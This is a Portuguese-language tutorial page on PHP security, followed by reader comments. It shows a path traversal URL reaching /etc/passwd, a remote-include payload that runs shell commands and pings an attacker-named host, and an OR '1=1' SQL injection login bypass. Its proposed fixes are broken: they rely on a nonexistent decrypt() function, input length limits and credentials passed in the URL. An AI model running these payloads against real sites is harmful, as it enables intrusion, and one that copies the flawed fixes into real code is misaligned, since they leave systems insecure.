Segurança em códigos PHP
A flexibilidade do PHP é que ele é uma ferramenta útil ao desenvolvimento de sistemas para internet, mas esta mesma flexibilidade pode ser usada de forma inadequada por usuários mal intencionados e proporcionar vulnerabilidades no servidor.
É fundamental restringir ao máximo a visualização das informações que trafegam pelos cabeçalhos HTTP, e certificar-se de que estas sejam postadas de um lado e recebidas de outro dentro de critérios definidos pelo programador. A má utilização das funções include(), require() e fopen() além da configuração das variáves globais no servidor é fundamental para manter um nível de segurança adequado.
Analizamos o seguinte exemplo:
Um programador desprevinido se utiliza do método de fast templates para mostrar conteúdo dinâmico na página, a cada link clicado a função include é chamada para mostrar novo conteúdo na página, a função include recebe da variável $link qual será este conteúdo, passando o mouse pelo link em questão vemos:
Neste caso (o que já vi por aí na web), devemos considerar o seguinte:
- Foi verificado a extensão do arquivo antes de passar o valor de $link para a função include?
- Os diretórios transversais são permitidos?
- É permitido arquivos remotos?
Se a resposta é não para apenas uma destas perguntas este servidor está a prestes a ser invadido.
Considere o seguinte:
E pronto, todas as senhas do servidor são públicas.
Onde exec.php contém:
Seu /etc é público ....
Acho que deu para ter uma idéia do que pode ser feito se utilizando desta vulnerabilidade.
Outra vulnerabilidade muito explorada são telas de login tipo usuário e senha, em muitas páginas já encontrei aqueles que incluem as variáveis diretamente a uma string sql, o que torna o login numa piada. Examine o seguinte exemplo:
Isso gera as variáveis $login e $senha. Na página seguinte encontramos:
Perfeito, está pronta a ser invadido, realize se o usuário digitar
OR "1=1" no login e senha, teremos:
Ou seja, $user = a nada OR 1=1 -->passou
$senha = a nada OR 1=1 -->passou
e pode-se fazer muito mais....
E o usuário está conectado ao sistema. Pode parecer ridículo mas o número de páginas em que estas falhas podem ser encontradas são inúmeras pois tem a impressão de que a segurança está apenas a cargo do adminitrador de rede, é óbvio que um servidor bem configurado evita muitas destas vulnerabilidades, mas não dá para confiar.
Para diminiur a vulnerabilidade ou evitar que invasões ridículas como estas aconteçam podemos nos utilizar de pequenos cuidados no código da tela de login por exemplo:
Só isto já ajuda bastante pra começar, o invasor não poderá digitar o que quiser para login, determine limite para seus usuários. Isso é o básico, além disto é preciso usar criptografia para passagem de variáveis, abaixo seguem alguns exemplos:
Este arquivo é o login.php
Do outro lado no autentica.php:
Esta etapa permite o sigilo das informações que trafegam pela Internet, e dificulta um pouco mais a tentava de logins não permitidos. Mas o essencial é a utilização de expressões regulares que verificam a consistencia destes informações, podemos nos utilizar delas para verificarmos a inserção de comandos SQL nas variáveis, verificar extensões antes de submetelas a includes, requires e fopens. As expressões regulares podem também verificar um contexto pre-definido para senhas por exemplo, mas para tanto é preciso que você defina o padrão de senha e gere as mesmas dinamicamente para seu usuário.
Vejamos um exemplo para nosso caso:
Ainda no autentica.php, abaixo da desemcriptação verificamos a consistencia das variáveis recebidas.
Sendo que meus login tem como padrão terminar com @ e minhas senhas são sempre numéricas de 5 dígitos.
E as variáveis estão prontas para serem incluídas na string SQL.
Espero ter aberto os olhos dos iniciantes na codificação PHP, para que cada vez mais a linguagem se torne sinônimo de eficiência, versatilidade e segurança quando utilizada para aplicações de qualquer porte, futuramente publicarei novo artigo mais prático mostrando vários exemplos.
Até mais,
Jacques E. W.
É fundamental restringir ao máximo a visualização das informações que trafegam pelos cabeçalhos HTTP, e certificar-se de que estas sejam postadas de um lado e recebidas de outro dentro de critérios definidos pelo programador. A má utilização das funções include(), require() e fopen() além da configuração das variáves globais no servidor é fundamental para manter um nível de segurança adequado.
Analizamos o seguinte exemplo:
Um programador desprevinido se utiliza do método de fast templates para mostrar conteúdo dinâmico na página, a cada link clicado a função include é chamada para mostrar novo conteúdo na página, a função include recebe da variável $link qual será este conteúdo, passando o mouse pelo link em questão vemos:
http://exemplo.com.br/exemplo.php?link=faleconosco.html
Neste caso (o que já vi por aí na web), devemos considerar o seguinte:
- Foi verificado a extensão do arquivo antes de passar o valor de $link para a função include?
- Os diretórios transversais são permitidos?
- É permitido arquivos remotos?
Se a resposta é não para apenas uma destas perguntas este servidor está a prestes a ser invadido.
Considere o seguinte:
http://exemplo.com.br/exemplo.php?link=../../../etc/passwd
E pronto, todas as senhas do servidor são públicas.
http://exemplo.com.br/exemplo.php?link=paghacker.com.br/exec.php
Onde exec.php contém:
<?php passthru('id'); passthru('ls -l /etc'); passthru('ping -c l paghacker.com.br'); passthru('echo Você foi hackeado | mail root'); ?>
Seu /etc é público ....
Acho que deu para ter uma idéia do que pode ser feito se utilizando desta vulnerabilidade.
Outra vulnerabilidade muito explorada são telas de login tipo usuário e senha, em muitas páginas já encontrei aqueles que incluem as variáveis diretamente a uma string sql, o que torna o login numa piada. Examine o seguinte exemplo:
<input type=text name=login> <input type=password name=senha>
Isso gera as variáveis $login e $senha. Na página seguinte encontramos:
<?php $sql = "SELECT * FROM users WHERE user=$login AND pass=$senha"; ?>
Perfeito, está pronta a ser invadido, realize se o usuário digitar
OR "1=1" no login e senha, teremos:
<?php $sql = "SELECT * FROM users WHERE user= OR '1=1' AND pass= OR '1=1'"; ?>
Ou seja, $user = a nada OR 1=1 -->passou
$senha = a nada OR 1=1 -->passou
e pode-se fazer muito mais....
E o usuário está conectado ao sistema. Pode parecer ridículo mas o número de páginas em que estas falhas podem ser encontradas são inúmeras pois tem a impressão de que a segurança está apenas a cargo do adminitrador de rede, é óbvio que um servidor bem configurado evita muitas destas vulnerabilidades, mas não dá para confiar.
Para diminiur a vulnerabilidade ou evitar que invasões ridículas como estas aconteçam podemos nos utilizar de pequenos cuidados no código da tela de login por exemplo:
<input type=text name=login maxsize=5> <input type=password name=senha maxsize=5>
Só isto já ajuda bastante pra começar, o invasor não poderá digitar o que quiser para login, determine limite para seus usuários. Isso é o básico, além disto é preciso usar criptografia para passagem de variáveis, abaixo seguem alguns exemplos:
Este arquivo é o login.php
<?php if (!$flag) { ?> <form name="login" action="login.php"> <input type="text" name="login" maxsize="5"> <input type="password" name="senha" maxsize="5"> <input type="hidden" name="flag" value="1"> </form> <?php } else { $log = crypt(strtoupper($login), "d19"); $snh = crypt(strtoupper($senha), "b8"); ?> <form name="autentica" action="autentica.php?l=<?php echo $log; ?>&s=<?php echo $snh; ?>" method="POST"> </form> <script language="javascript"> autentica.submit(); </script> <? } ?>
Do outro lado no autentica.php:
<?php $login = decrypt(strtoupper($log), "d19"); $senha = decrypt(strtoupper($snh), "b8"); ?>
Esta etapa permite o sigilo das informações que trafegam pela Internet, e dificulta um pouco mais a tentava de logins não permitidos. Mas o essencial é a utilização de expressões regulares que verificam a consistencia destes informações, podemos nos utilizar delas para verificarmos a inserção de comandos SQL nas variáveis, verificar extensões antes de submetelas a includes, requires e fopens. As expressões regulares podem também verificar um contexto pre-definido para senhas por exemplo, mas para tanto é preciso que você defina o padrão de senha e gere as mesmas dinamicamente para seu usuário.
Vejamos um exemplo para nosso caso:
Ainda no autentica.php, abaixo da desemcriptação verificamos a consistencia das variáveis recebidas.
<?php $check1 = 0; $check2 = 0; if (ereg("^[a-z]+\.@", $login)) { $check1 = 1; } else { echo ("Vai hackear outro site !"); } if (ereg("[0-9]{5}", $senha)) { $check2 = 1; } else { echo ("Vai hackear outro site !"); } if ($check1 == 1 AND check2 == 1) { //submeta os valores } ?>
Sendo que meus login tem como padrão terminar com @ e minhas senhas são sempre numéricas de 5 dígitos.
E as variáveis estão prontas para serem incluídas na string SQL.
Espero ter aberto os olhos dos iniciantes na codificação PHP, para que cada vez mais a linguagem se torne sinônimo de eficiência, versatilidade e segurança quando utilizada para aplicações de qualquer porte, futuramente publicarei novo artigo mais prático mostrando vários exemplos.
Até mais,
Jacques E. W.
Caramba meu....só com esse artigo que fui identificar a variedade de falhas que deixo em meu código....valeu galera...e Publiquem mais artigos como esse!!
abraço
abraço
24/10/2005 10:42am
(~19 anos atrás)
Cara... vc mandou muito bem !!!
Sempre essas questões de segurança nos pegam desprevinidos...
Sempre essas questões de segurança nos pegam desprevinidos...
26/03/2003 6:45am
(~21 anos atrás)
Jacques ñ entendi o login.php como valido a senha se ñ posso utilizar <input type=submit value="envia">?
outro problema tenho o php 4.1.0 instalado tá dando esse erro Fatal error: Call to undefined function: decrypt()
outro problema tenho o php 4.1.0 instalado tá dando esse erro Fatal error: Call to undefined function: decrypt()
24/02/2003 10:48pm
(~22 anos atrás)
Jacques
Do jeito que está o codigo do arquivo login.php nada acontece.
maxlength=5. Se incluo o:
<input type=submit value="envia">
O código vai ficar duas vezes mais inseguro, primeiro manda login e senha sem proteção e depois manda os dados encriptados, onde está a vantagem, você poderia explicar?
Do jeito que está o codigo do arquivo login.php nada acontece.
maxlength=5. Se incluo o:
<input type=submit value="envia">
O código vai ficar duas vezes mais inseguro, primeiro manda login e senha sem proteção e depois manda os dados encriptados, onde está a vantagem, você poderia explicar?
29/01/2003 7:34am
(~22 anos atrás)
$login = addslashes($_REQUEST['login']);
$senha = addslashes($_REQUEST['senha']);
antes de utilizar na consulta
há outros métodos que podem ser utilizados tb...